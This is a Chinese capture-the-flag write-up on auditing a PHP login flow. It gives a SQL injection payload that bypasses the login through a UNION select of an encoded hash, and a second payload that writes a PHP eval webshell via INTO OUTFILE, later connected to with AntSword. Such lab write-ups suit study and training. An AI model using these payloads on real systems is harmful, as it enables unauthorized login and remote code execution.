代码审计题目

1、代码审计

看到给出的提示变动代码 打开题目,发现在login.php页面 那么下载源码,放入审计工具,找到login.php页面,可以看到这里输入框中post的数据都提交到了checklogin.php页面 继续追溯checklogin.php页面,这里我们看到了sql语句的查询方式,没有过滤任何参数,条件允许的话可以进行单引号闭合的sql注入,在向下看发现了题目中给出变动部分的代码 这段的意思是判断输入的密码和sql查询到的密码是否相同,但是在本题中改成了if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){ 我们全局搜索一下一下sds_decode()函数,最后在fun.php中找到了该函数的定义,它对传入的值进行了一些编码操作: 我们带入admin字符串来执行一下该函数,得到一串字符串: 那么如果我们密码正常提交admin,然后想办法篡改语句让sql查询出的语句变成这段字符串就能满足条件从而登录。

2、构造sql语句

这里有两个思路,一是接上面的思路,闭合前面的单引号,注释后面的内容,在中间插入联合查询语句让sql语句执行结果变成sds_decode函数执行后的字符串,构造为: 1'union select '27151b7b1ad51a38ea66b1529cde5ee4'%23 成功登录得到flag: 第二种思路是写入shell文件,构造sql语句为: 1'union select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php'%23 然后我们用蚁剑连接,在当前目录的flag.php里一样得到了flag